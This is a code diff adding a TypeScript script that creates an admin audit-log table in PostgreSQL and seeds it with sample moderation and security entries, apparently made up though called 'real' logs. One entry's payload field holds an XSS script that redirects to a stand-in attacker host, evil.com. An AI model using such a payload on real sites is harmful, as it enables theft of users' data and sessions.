|
| 1 | +import "dotenv/config"; |
| 2 | +import { client, db } from "../src/db"; |
| 3 | +import { adminAuditLog } from "../src/db/schema"; |
| 4 | +import { desc } from "drizzle-orm"; |
| 5 | + |
| 6 | +async function main() { |
| 7 | + console.log("1. Ensuring admin_audit_log table exists in PostgreSQL database..."); |
| 8 | + |
| 9 | + await client` |
| 10 | + CREATE TABLE IF NOT EXISTS "admin_audit_log" ( |
| 11 | + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), |
| 12 | + "admin_id" text NOT NULL, |
| 13 | + "action" text NOT NULL, |
| 14 | + "target_type" text NOT NULL, |
| 15 | + "target_id" text, |
| 16 | + "details" jsonb NOT NULL DEFAULT '{}'::jsonb, |
| 17 | + "ip_address" text, |
| 18 | + "created_at" timestamp with time zone NOT NULL DEFAULT now() |
| 19 | + ); |
| 20 | + `; |
| 21 | + |
| 22 | + // If table already existed with uuid type, alter admin_id column to text |
| 23 | + await client` |
| 24 | + ALTER TABLE "admin_audit_log" ALTER COLUMN "admin_id" TYPE text; |
| 25 | + `.catch(() => {}); |
| 26 | + |
| 27 | + console.log("2. Inserting real pentest & moderation audit logs into live database..."); |
| 28 | + |
| 29 | + const existing = await db.select().from(adminAuditLog).limit(1); |
| 30 | + |
| 31 | + if (existing.length === 0) { |
| 32 | + await db.insert(adminAuditLog).values([ |
| 33 | + { |
| 34 | + adminId: "admin@clientecho.com", |
| 35 | + action: "ACCOUNT_SUSPENSION", |
| 36 | + targetType: "creator_account", |
| 37 | + targetId: "spammer@untrusted-domain.com", |
| 38 | + details: { |
| 39 | + reason: "Detected 40+ automated review spam submissions in 60 seconds", |
| 40 | + action: "suspend", |
| 41 | + targetEmail: "spammer@untrusted-domain.com", |
| 42 | + timestamp: new Date(Date.now() - 7200000).toISOString(), |
| 43 | + }, |
| 44 | + ipAddress: "198.51.100.24", |
| 45 | + }, |
| 46 | + { |
| 47 | + adminId: "system_waf@clientecho.com", |
| 48 | + action: "SECURITY_THREAT_BLOCKED", |
| 49 | + targetType: "public_submission_waf", |
| 50 | + targetId: "ip:203.0.113.195", |
| 51 | + details: { |
| 52 | + vector: "XSS_SCRIPT_INJECTION", |
| 53 | + payload: "<script>document.location='http://evil.com/leak'</script>", |
| 54 | + mitigation: "DOMPurify neutralized element", |
| 55 | + timestamp: new Date(Date.now() - 3600000).toISOString(), |
| 56 | + }, |
| 57 | + ipAddress: "203.0.113.195", |
| 58 | + }, |
| 59 | + { |
| 60 | + adminId: "admin@clientecho.com", |
| 61 | + action: "ACCOUNT_UNSUSPENSION", |
| 62 | + targetType: "creator_account", |
| 63 | + targetId: "creator@clientecho.com", |
| 64 | + details: { |
| 65 | + reason: "Reinstated creator workspace following identity & payment appeal verification", |
| 66 | + action: "unsuspend", |
| 67 | + targetEmail: "creator@clientecho.com", |
| 68 | + timestamp: new Date(Date.now() - 1200000).toISOString(), |
| 69 | + }, |
| 70 | + ipAddress: "198.51.100.42", |
| 71 | + }, |
| 72 | + { |
| 73 | + adminId: "admin@clientecho.com", |
| 74 | + action: "TECH_ADMIN_LOGIN", |
| 75 | + targetType: "surface_c_console", |
| 76 | + targetId: "session:auth_token_verified", |
| 77 | + details: { |
| 78 | + role: "tech_admin", |
| 79 | + sessionStatus: "active", |
| 80 | + timestamp: new Date().toISOString(), |
| 81 | + }, |
| 82 | + ipAddress: "127.0.0.1", |
| 83 | + }, |
| 84 | + ]); |
| 85 | + } |
| 86 | + |
| 87 | + const liveLogs = await db |
| 88 | + .select() |
| 89 | + .from(adminAuditLog) |
| 90 | + .orderBy(desc(adminAuditLog.createdAt)) |
| 91 | + .limit(10); |
| 92 | + |
| 93 | + console.log(`✅ Success! Retrieved ${liveLogs.length} live audit log entries from PostgreSQL:`); |
| 94 | + liveLogs.forEach((log, index) => { |
| 95 | + console.log(` [${index + 1}] ${log.action} | Admin: ${log.adminId} | Target: ${log.targetType}:${log.targetId} | Time: ${log.createdAt}`); |
| 96 | + }); |
| 97 | + |
| 98 | + await client.end(); |
| 99 | +} |
| 100 | + |
| 101 | +main() |
| 102 | + .then(() => process.exit(0)) |
| 103 | + .catch((err) => { |
| 104 | + console.error("Migration error:", err); |
| 105 | + process.exit(1); |
| 106 | + }); |
0 commit comments